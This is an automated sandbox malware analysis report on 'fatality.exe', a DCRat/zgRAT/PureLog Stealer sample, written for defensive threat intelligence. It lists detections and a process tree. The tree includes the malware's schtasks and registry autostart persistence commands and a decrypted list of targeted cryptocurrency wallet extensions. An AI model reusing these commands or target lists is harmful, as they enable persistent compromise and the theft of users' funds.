Edit tour

Windows Analysis Report
fatality.exe

Overview

General Information

Sample name:	fatality.exe
Analysis ID:	1589980
MD5:	a7040b85fc683f088f4c6e5b44052c43
SHA1:	7e3d644d1a1fb7b9bcccb6406d2e7fbd062eae66
SHA256:	b786f31f1c89c71d0510bbd32510595d9891c67db516f968261b02594a423a8d
Tags:	DCRatexeNyashTeamuser-MalHunter3
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Hides threads from debuggers

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has nameless sections

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (window names)

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

fatality.exe (PID: 6532 cmdline: "C:\Users\user\Desktop\fatality.exe" MD5: A7040B85FC683F088F4C6E5B44052C43)

wscript.exe (PID: 4140 cmdline: "C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 6204 cmdline: C:\Windows\system32\cmd.exe /c ""C:\blockcomSession\R3z0peym99fhJdrKbUwEGrQMoM2HpnSPGrE0X0k2hc.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

containerReview.exe (PID: 6536 cmdline: "C:\blockcomSession/containerReview.exe" MD5: F568E43BC473CD8CEB2553C58194DF61)

schtasks.exe (PID: 2300 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 10 /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1812 cmdline: schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3652 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 9 /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

csc.exe (PID: 6448 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 1984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 5536 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8539.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

csc.exe (PID: 3504 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 2300 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES87BA.tmp" "c:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

schtasks.exe (PID: 1292 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 13 /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4072 cmdline: schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6760 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 14 /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6456 cmdline: schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\dbg\containerReview.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5336 cmdline: schtasks.exe /create /tn "containerReview" /sc ONLOGON /tr "'C:\Users\All Users\dbg\containerReview.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2888 cmdline: schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\dbg\containerReview.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2920 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2164 cmdline: schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6520 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4072 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 432 cmdline: schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6120 cmdline: schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2888 cmdline: schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 10 /tr "'C:\blockcomSession\containerReview.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 320 cmdline: schtasks.exe /create /tn "containerReview" /sc ONLOGON /tr "'C:\blockcomSession\containerReview.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6520 cmdline: schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 10 /tr "'C:\blockcomSession\containerReview.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6772 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 320 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 1476 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

containerReview.exe (PID: 7368 cmdline: "C:\Users\All Users\dbg\containerReview.exe" MD5: F568E43BC473CD8CEB2553C58194DF61)

mQBLhXIPAJ.exe (PID: 2172 cmdline: C:\blockcomSession\mQBLhXIPAJ.exe MD5: F568E43BC473CD8CEB2553C58194DF61)

cmd.exe (PID: 7408 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7464 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7480 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

mQBLhXIPAJ.exe (PID: 7600 cmdline: "C:\blockcomSession\mQBLhXIPAJ.exe" MD5: F568E43BC473CD8CEB2553C58194DF61)

mQBLhXIPAJ.exe (PID: 5624 cmdline: C:\blockcomSession\mQBLhXIPAJ.exe MD5: F568E43BC473CD8CEB2553C58194DF61)

containerReview.exe (PID: 7200 cmdline: C:\blockcomSession\containerReview.exe MD5: F568E43BC473CD8CEB2553C58194DF61)

containerReview.exe (PID: 7216 cmdline: C:\blockcomSession\containerReview.exe MD5: F568E43BC473CD8CEB2553C58194DF61)

mQBLhXIPAJ.exe (PID: 7508 cmdline: "C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe" MD5: F568E43BC473CD8CEB2553C58194DF61)

containerReview.exe (PID: 7696 cmdline: "C:\blockcomSession\containerReview.exe" MD5: F568E43BC473CD8CEB2553C58194DF61)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
fatality.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
fatality.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\dbg\containerReview.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\ProgramData\dbg\containerReview.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\blockcomSession\containerReview.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\blockcomSession\containerReview.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\blockcomSession\containerReview.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\blockcomSession\containerReview.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\blockcomSession\containerReview.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\blockcomSession\containerReview.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
00000005.00000000.2154251143.0000000000782000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.2227774812.0000000012D60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000003.2039419279.0000000005FE3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000003.2038554623.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: containerReview.exe PID: 6536	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: mQBLhXIPAJ.exe PID: 2172	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: mQBLhXIPAJ.exe PID: 5624	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.fatality.exe.61276fb.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fatality.exe.61276fb.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.fatality.exe.61236fb.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fatality.exe.61236fb.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.fatality.exe.61236fb.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fatality.exe.61236fb.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.0.containerReview.exe.780000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.0.containerReview.exe.780000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.fatality.exe.61276fb.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fatality.exe.61276fb.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ProcessId: 3504, TargetFilename: c:\Windows\System32\SecurityHealthSystray.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\Default\Templates\mQBLhXIPAJ.exe", EventID: 13, EventType: SetValue, Image: C:\blockcomSession\containerReview.exe, ProcessId: 6536, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mQBLhXIPAJ

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe", EventID: 13, EventType: SetValue, Image: C:\blockcomSession\containerReview.exe, ProcessId: 6536, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mQBLhXIPAJ

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe", EventID: 13, EventType: SetValue, Image: C:\blockcomSession\containerReview.exe, ProcessId: 6536, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\blockcomSession/containerReview.exe", ParentImage: C:\blockcomSession\containerReview.exe, ParentProcessId: 6536, ParentProcessName: containerReview.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline", ProcessId: 6448, ProcessName: csc.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\fatality.exe", ParentImage: C:\Users\user\Desktop\fatality.exe, ParentProcessId: 6532, ParentProcessName: fatality.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe" , ProcessId: 4140, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\blockcomSession\containerReview.exe, ProcessId: 6536, TargetFilename: C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\blockcomSession/containerReview.exe", ParentImage: C:\blockcomSession\containerReview.exe, ParentProcessId: 6536, ParentProcessName: containerReview.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline", ProcessId: 6448, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fatality.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Avira: detection malicious, Label: TR/Spy.Agent.cptjt
Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Avira: detection malicious, Label: TR/Spy.Agent.cptjt
Source: C:\Users\user\Desktop\RUDRugHQ.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\ProgramData\dbg\containerReview.exe	Avira: detection malicious, Label: TR/Spy.Agent.cptjt
Source: C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\Desktop\jPEOVQoM.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\blockcomSession\containerReview.exe	Avira: detection malicious, Label: TR/Spy.Agent.cptjt
Source: C:\Users\user\Desktop\GgZbKUMi.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\HTJtRROP.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Avira: detection malicious, Label: TR/Spy.Agent.cptjt
Source: C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat	Avira: detection malicious, Label: BAT/Delbat.C

Multi AV Scanner detection for dropped file

Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	ReversingLabs: Detection: 82%
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	ReversingLabs: Detection: 82%
Source: C:\ProgramData\dbg\containerReview.exe	ReversingLabs: Detection: 82%
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates\mQBLhXIPAJ.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\Desktop\GgZbKUMi.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\HTJtRROP.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\LTranRbW.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\PRRjZxCV.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\RUDRugHQ.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\eTDxNkzS.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\jPEOVQoM.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\nCWNxMEA.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\ucFnGTXv.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\yCQlabwB.log	ReversingLabs: Detection: 29%
Source: C:\blockcomSession\containerReview.exe	ReversingLabs: Detection: 82%
Source: C:\blockcomSession\mQBLhXIPAJ.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: fatality.exe	Virustotal: Detection: 83%			Perma Link
Source: fatality.exe	ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\SecurityHealthSystray.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\RUDRugHQ.log	Joe Sandbox ML: detected
Source: C:\ProgramData\dbg\containerReview.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\nCWNxMEA.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\jPEOVQoM.log	Joe Sandbox ML: detected
Source: C:\blockcomSession\containerReview.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\RLUzQxgL.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\VquIdqjl.log	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\yCQlabwB.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: fatality.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2227774812.0000000012D60000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"}}
